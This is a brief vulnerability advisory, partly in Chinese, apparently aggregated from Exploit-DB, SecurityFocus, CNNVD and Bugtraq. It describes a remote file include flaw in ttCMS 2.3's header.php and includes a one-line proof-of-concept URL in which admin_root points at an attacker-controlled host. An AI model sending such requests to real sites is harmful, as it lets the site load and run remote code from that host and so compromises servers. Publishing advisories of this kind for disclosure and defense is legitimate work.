https://www.exploit-db.com/exploits/22612
https://www.securityfocus.com/bid/87144
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200306-016

ttCMS2.3及其早期版本中的header.php存在漏洞。远程攻击者可以通过设置ttcms_user_admin参数为“1”和修改admin_root参数指向包含特洛伊木马header.inc.php脚本的URL注入任意PHP代码。

source: http://www.securityfocus.com/bid/7625/info

A remote file include vulnerability has been reported for ttCMS. Due to insufficient sanitization of some user-supplied variables by the 'header.php' script, it is possible for a remote attacker to include a malicious PHP file in a URL. 

http://target/admin/templates/header.php?admin_root=http://attacker/

Andy Prevost Ttcms 2.3

来源:BUGTRAQ
名称:20030517RemotecodeexecutioninttCMS<=v2.3
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=105320172212990&w;=2